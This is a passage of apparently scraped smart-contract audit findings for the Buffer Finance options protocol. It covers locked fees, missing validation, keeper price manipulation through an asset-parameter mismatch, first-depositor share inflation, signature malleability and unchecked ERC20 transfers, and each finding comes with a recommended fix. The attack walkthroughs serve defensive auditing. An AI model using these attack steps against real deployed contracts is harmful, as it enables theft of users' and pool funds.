TokenX fee can be locked in BufferRouter.sol if trade processing fail sliently.

Vulnerability Detail

When a trade is queued, We are calling:

optionsContract.runInitialChecks(slippage, period, totalFee);

// Transfer the fee specified from the user to this contract.
// User has to approve first inorder to execute this function
IERC20(optionsContract.tokenX()).transferFrom(
    msg.sender,
    address(this),
    totalFee
);

totalFee cannot be 0 because the optionsContract.runInitialChecks(slippage, period, totalFee) did the sanity check:

  /**
   * @notice Runs the basic checks for option creation
   */
  function runInitialChecks(
      uint256 slippage,
      uint256 period,
      uint256 totalFee
  ) external view override {
      require(!isPaused, "O33");
      require(slippage <= 5e2, "O34"); // 5% is the max slippage a user can use
      require(period >= config.minPeriod(), "O21");
      require(period <= config.maxPeriod(), "O25");
      require(totalFee >= config.minFee(), "O35");
  }

let us just assume that the tokenX used is USDC, has 6 decimals, and the totalFee is set to 1e6 in OptionConfig.

uint256 public override minFee = 1e6; // set

every time user queue a trade, a 1e6 amount of USDC will be transferred into the BufferRouter.sol

In normal case, when trade is canceled, this fee is refunded.

_cancelQueuedTrade(queueId);

which calls:

function _cancelQueuedTrade(uint256 queueId) internal {
	QueuedTrade storage queuedTrade = queuedTrades[queueId];
	IBufferBinaryOptions optionsContract = IBufferBinaryOptions(
		queuedTrade.targetContract
	);
	queuedTrade.isQueued = false;
	IERC20(optionsContract.tokenX()).transfer(
		queuedTrade.user,
		queuedTrade.totalFee
	);

	userCancelledQueuedIds[queuedTrade.user].push(queueId);
}

However, there is a one case that the fee will not be refunded and the fee will be locked in the BufferRouter.sol.

/**
 * @notice Verifies the trade parameter via the signature and resolves all the valid queued trades
 */
function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
	_validateKeeper();
	for (uint32 index = 0; index < params.length; index++) {
		OpenTradeParams memory currentParams = params[index];
		QueuedTrade memory queuedTrade = queuedTrades[
			currentParams.queueId
		];
		bool isSignerVerifed = _validateSigner(
			currentParams.timestamp,
			currentParams.asset,
			currentParams.price,
			currentParams.signature
		);
		// Silently fail if the signature doesn't match
		if (!isSignerVerifed) {
			emit FailResolve(
				currentParams.queueId,
				"Router: Signature didn't match"
			);
			continue;
		}

if the signature is invalid, the queue trades fails sliently. There will be no refund in the fee, fee is locked in the Router contract given that the BufferRouter is not upgradeable
and there is no rescueToken related function to sweep the dust token.

Impact

TokenX fee can be locked in Router contract.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L354-L365

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L132-L156

Tool used

Manual Review

Recommendation

We recommend the project transfer the fee out to admin address or refund the fee will the signature has issue to not let the trade processing fails sliently and get the fee locked in the contract.

rvierdiiev - lack of input validation in OptionsConfig

rvierdiiev

medium

lack of input validation in OptionsConfig

Summary

OptionsConfig doesn't validate some provided variable which can lead to incorrect work of protocol

Vulnerability Detail

Both setMaxPeriod and setMinPeriod functions is OptionsConfig do not check that after variable is set OptionsConfig.maxPeriod >= OptionsConfig.minPeriod.
In case if incorrect values are set then no trader will be possible to initiate new trade, because of check in BufferBinaryOptions contract.

Both OptionsConfig.setAssetUtilizationLimit and setOverallPoolUtilizationLimit doesn't check the value to be greater than 0.
Because of that BufferBinaryOptions.getMaxUtilization function will revert and it will not be possible to create new option.

Impact

Not possible to initiate new trades and create option.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/OptionsConfig.sol#L67-L83
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/OptionsConfig.sol#L55-L65

Tool used

Manual Review

Recommendation

Check that OptionsConfig.maxPeriod >= OptionsConfig.minPeriod after variable set. Check that overallPoolUtilizationLimit and assetUtilizationLimit are greater than 0.

KingNFT - Price manipulation attack on 'resolveQueuedTrades()' of BufferRouter.sol

KingNFT

high

Price manipulation attack on 'resolveQueuedTrades()' of BufferRouter.sol

Summary

The 'resolveQueuedTrades()' function miss check for

queuedTrade.targetContract == currentParams.asset

A suspicious keeper can exploit it to manipulate strike price and always win the option.
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L136

Vulnerability Detail

Let's say there are two option contracts

Obtc = BufferBinaryOptions(BTC-USD pair)
Oeth = BufferBinaryOptions(ETH-USD pair)

And the market prices are

Pbtc = 16000 USD
Peth = 1200 USD

We can initiate a trade like this

QueuedTrade (
    // ...
    queueId = 1000;
    timestamp = 1234;
   
   // key parameters
    isAbove = false;
    targetContract = Oeth ;
    expectedStrike = 16000 USD;
    // ..
)

And call 'resolveQueuedTrades()' with

OpenTradeParams (
    queueId = 1000;
    timestamp = 1234;
    asset = Obtc;
    price = 16000 USD;
    signature = 0x****;
)

As the current implementation only check 'price' but miss 'asset', the order can be successfully opened.

At last, 'unlockOptions()' with correct ETH price 1200 USD, attacker can almost 100% win the option.

Impact

Attacker can exploit the vulnerability to drain out funds from option pool.

Code Snippet

function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
    _validateKeeper();
    for (uint32 index = 0; index < params.length; index++) {
        OpenTradeParams memory currentParams = params[index];
        QueuedTrade memory queuedTrade = queuedTrades[
            currentParams.queueId
        ];
        bool isSignerVerifed = _validateSigner(
            currentParams.timestamp,
            currentParams.asset,
            currentParams.price,
            currentParams.signature
        );
        // Silently fail if the signature doesn't match
        if (!isSignerVerifed) {
            emit FailResolve(
                currentParams.queueId,
                "Router: Signature didn't match"
            );
            continue;
        }
        if (
            !queuedTrade.isQueued ||
            currentParams.timestamp != queuedTrade.queuedTime
        ) {
            // Trade has already been opened or cancelled or the timestamp is wrong.
            // So ignore this trade.
            continue;
        }

        // If the opening time is much greater than the queue time then cancel the trade
        if (block.timestamp - queuedTrade.queuedTime <= MAX_WAIT_TIME) {
            _openQueuedTrade(currentParams.queueId, currentParams.price);
        } else {
            _cancelQueuedTrade(currentParams.queueId);
            emit CancelTrade(
                queuedTrade.user,
                currentParams.queueId,
                "Wait time too high"
            );
        }

        // Track the next queueIndex to be processed for user
        userNextQueueIndexToProcess[queuedTrade.user] =
            queuedTrade.userQueueIndex +
            1; // @audit ???
    }
    // Track the next queueIndex to be processed overall
    nextQueueIdToProcess = params[params.length - 1].queueId + 1;
}

Tool used

Manual Review

Recommendation

function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
    _validateKeeper();
    for (uint32 index = 0; index < params.length; index++) {
        OpenTradeParams memory currentParams = params[index];
        QueuedTrade memory queuedTrade = queuedTrades[
            currentParams.queueId
        ];
        // ...

        if (queuedTrade.targetContract != currentParams.asset) {
            continue;
        }
        
        // ...
    }
    // ...
}

Duplicate of #85

rvierdiiev - Share price manipulation is possible for first depositor of BufferBinaryPool

rvierdiiev

high

Share price manipulation is possible for first depositor of BufferBinaryPool

Summary

Share price manipulation is possible for first depositor of BufferBinaryPool. As a result next depositors can lost part of their funds, while attacker will get more.

Vulnerability Detail

BufferBinaryPool is created.
Alice buys first share for 1 wei using BufferBinaryPool.provide function. Price of 1 share becomes 1 wei.
Then Alice donates a big amount aliceAmount of assets to BufferBinaryPool directly(simple ERC20 transfer). Now we have 1 wei amount of shares and aliceAmount + 1 of deposited assets controlled by BufferBinaryPool.

Then Bob deposits arbitrary amount of assets, that is bobAmount > aliceAmount.
As result Bob receives bobAmount / (aliceAmount + 1) shares because of rounding here. Bob loses part of bobAmount % aliceAmount sent to the vault, alice controls more assets in vault now.

Impact

Next depositors can lost their money, while first user will take all of them or some part.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L229-L231

Tool used

Manual Review

Recommendation

Add limit for the first deposit to be a big amount to mint big amount of shares on start.

Duplicate of #81

jonatascm - Not protected against signature malleability

jonatascm

medium

Not protected against signature malleability

Summary

There are two issues related to signature malleability:

  1. The function _validateSigner is not using the correctly EIP-712
  2. OpenZeppelin has a vulnerability in versions lower than 4.7.3, which an attacker can exploit. This project uses vulnerable version 4.3.2.

Vulnerability Detail

All of the conditions from the advisory are satisfied: the signature comes in a single bytes argument, ECDSA.recover() is used, and the signatures themselves are used for replay protection checks GHSA-4h98-2769-gh6h

Either a malicious user, in the case of isInPrivateKeeperMode == false, or a malicious keeper can bypass _validateSigner either creating a new signature due to version of OZ or reusing a signature due to not correctly implementing of EIP-712, opening a queued trade with a different price or closing a valid queued trade through resolveQueuedTrades or changing priceAtExpiry while unlocking options through unlockOptions

Impact

Some users could have their trade affected or the malicious user can win all his options by changing the priceAtExpiry

Code Snippet

[BufferRouter.sol#L260-L271](https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferRouter.sol#L260-L271)

function _validateSigner(
  uint256 timestamp,
  address asset,
  uint256 price,
  bytes memory signature
) internal view returns (bool) {
  bytes32 digest = ECDSA.toEthSignedMessageHash(
      keccak256(abi.encodePacked(timestamp, asset, price))
  );
  address recoveredSigner = ECDSA.recover(digest, signature);
  return recoveredSigner == publisher;
}

Tool used

Manual Review

Recommendation

  1. Upgrade OZ version to 4.73 or 4.8.0.
  2. Fix EIP-712 implementation by adding a nonce

0x4non - Due lack of validation the `maxLiquidity` could be set in an invalid amount

0x4non

medium

Due lack of validation the maxLiquidity could be set in an invalid amount

Summary

There is no check in set setMaxLiquidity function

Vulnerability Detail

This invariant should always hold maxLiquidity >= totalTokenXBalance() and because there is no check in maxLiquidity it could be break.

Impact

The maxLiquidity could be set in an invalid amount

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L63

    /**
     * @notice Used for adjusting the max limit of the pool
     */
    function setMaxLiquidity(uint256 _maxLiquidity)
        external
        onlyRole(DEFAULT_ADMIN_ROLE)
    {
        maxLiquidity = _maxLiquidity;
        emit UpdateMaxLiquidity(_maxLiquidity);
    }

Tool used

Manual Review

Recommendation

Add a require to ensure the new _maxLiquidity value is valid;

diff --git a/contracts/contracts/core/BufferBinaryPool.sol b/contracts/contracts/core/BufferBinaryPool.sol
index ea4a276..a26a8b9 100644
--- a/contracts/contracts/core/BufferBinaryPool.sol
+++ b/contracts/contracts/core/BufferBinaryPool.sol
@@ -60,6 +60,7 @@ contract BufferBinaryPool is
         external
         onlyRole(DEFAULT_ADMIN_ROLE)
     {
+        require(_maxLiquidity >= totalTokenXBalance(), 'Invalid new maxLiquidity');
         maxLiquidity = _maxLiquidity;
         emit UpdateMaxLiquidity(_maxLiquidity);
     }

supernova - lockedPeriod check can be bypassed in certain case.

supernova

high

lockedPeriod check can be bypassed in certain case.

Summary

The _getUnlockedLiquidity function in BufferBinary contract checks whether the locked funds are unlocked or not .
It relies on the current block.timestamp and the lockedPeriod .
And lockedPeriod can be changed in the future.(Refer to my previous vulnerability report #2 )

Vulnerability Detail

Consider a scenario where , current lockedPeriod = 10 minutes and I entered in a position at 11 AM . And side by side , admin decides to change the lockedPeriod value from 10 minutes to 30 minutes. Now , if the user tries to get out of the position for another 20 minutes , he will not be able to do so , as the value is changed and _getUnlockedLiquidity function reads the lockedPeriod value directly as an SLOAD. Hence any change to it , will impact users with active positions.

Options is a volatile market, every minute matters , this will have a severe impact , every time the lockedPeriod is changed.

Preventing this via a timelock in changing the lockedPeriod function will not do much help , as there is no restriction for users to enter a new position at the last minute , when the lockedPeriod value will be changed.

Impact

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L272-L276

Tool used

Manual Review

Recommendation

Cache the lockedPeriod in the ProvidedLiquidity struct and use it instead of calling the SLOAD directly, thereby preventing damage to users in case of change in lockedPeriod.

0xcc - Unsafe usage of ERC20 transfer and transferFrom

0xcc

medium

Unsafe usage of ERC20 transfer and transferFrom

Summary

Unsafe usage of ERC20 transfer and transferFrom.

Vulnerability Detail

Some ERC20 tokens functions don’t return a boolean. So the BufferBinaryPool contract simply won’t work with tokens like that as the token.

Impact

Some token transfer and transferFrom functions doesn't return a bool, so the call to these functions will revert although the user has enough balance and the BufferBinaryPool contract won't work.

Code Snippet

https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferBinaryPool.sol#L161
https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferBinaryPool.sol#L204
https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferBinaryPool.sol#L236
https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferBinaryPool.sol#L322

Tool used

Manual auditing - VS Code, some hardhat tests and me :)

Recommendation

Use the OpenZepplin's safeTransfer and safeTransferFrom functions

Duplicate of #73

m_Rassska - Unchecked return value for transferFrom() call

m_Rassska

high

Unchecked return value for transferFrom() call

Summary

  • Unchecked return value for transferFrom() call

Vulnerability Detail

  • In BufferRouter.sol there is a function initiateTrader() for option creation purposes. During the execution the optionsContract.tokenX() supposed to receive some fees, however the transferFrom() for some tokens returns bool instead of reverting. Since the returned value is not checked, this lead to undesired behavior.

Impact

  • The user can pass the option into the queue without sending fees.

Code Snippet

    function initiateTrade(
        uint256 totalFee,
        uint256 period,
        bool isAbove,
        address targetContract,
        uint256 expectedStrike,
        uint256 slippage,
        bool allowPartialFill,
        string memory referralCode,
        uint256 traderNFTId
    ) external returns (uint256 queueId) {
        // Checks if the target contract has been registered
        require(
            contractRegistry[targetContract],
            "Router: Unauthorized contract"
        );
        IBufferBinaryOptions optionsContract = IBufferBinaryOptions(
            targetContract
        );

        optionsContract.runInitialChecks(slippage, period, totalFee);

        // Transfer the fee specified from the user to this contract.
        // User has to approve first inorder to execute this function
        IERC20(optionsContract.tokenX()).transferFrom(
            msg.sender,
            address(this),
            totalFee
        );
        queueId = nextQueueId;
        nextQueueId++;

        QueuedTrade memory queuedTrade = QueuedTrade(
            queueId,
            userQueueCount(msg.sender),
            msg.sender,
            totalFee,
            period,
            isAbove,
            targetContract,
            expectedStrike,
            slippage,
            allowPartialFill,
            block.timestamp,
            true,
            referralCode,
            traderNFTId
        );

        queuedTrades[queueId] = queuedTrade;

        userQueuedIds[msg.sender].push(queueId);

        emit InitiateTrade(msg.sender, queueId, block.timestamp);
    }
    ```
## Tool used
- Manual Review

## Recommendation
- Wrap **transferFrom()** around require statement to handle failures.


Duplicate of #73

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.